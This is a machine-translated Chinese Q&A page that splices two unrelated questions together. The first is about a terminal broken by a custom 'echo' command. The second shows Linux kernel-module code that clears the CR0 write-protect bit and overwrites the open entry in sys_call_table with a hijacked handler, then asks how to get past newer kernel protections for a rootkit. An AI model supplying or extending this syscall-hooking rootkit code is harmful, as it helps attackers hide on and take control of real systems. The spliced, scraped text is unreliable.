你好。我的终端有问题:我无法打开它。我做了一件像这里写的事情
我已选中“运行自定义命令而不是我的 shell”并输入“echo Hello World”。现在我无法打开终端 - 每当我尝试什么都不出现时,我无法更改设置。知道如何修复它吗?
在内核版本 2.X 到 4.X 中,您可以使用以下命令轻松覆盖内核模块中的第 16 个CR0位:
write_cr0(read_cr0() & (~ 0x10000));
Run Code Online (Sandbox Code Playgroud)
这样它就可以删除系统调用表上的写保护。然而现在,在 5.X 版本上,这似乎不会覆盖 CR0 位。如果您在使用上述技巧后尝试劫持系统调用表,
sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");
write_cr0(read_cr0() & (~0x10000));
iamhere("Saving the old call..");
old_open = sys_call_table[__NR_open];
iamhere("Setting the new one..");
sys_call_table[__NR_open] = hijacked_open;
write_cr0(read_cr0() | 0x10000);
Run Code Online (Sandbox Code Playgroud)
您会收到 0x0003 权限违规错误。
所以,我的问题是:新的内核模式保护措施是否已到位?如果是这样,对于 rootkit 的情况,是否还有任何可能的方法可以绕过它?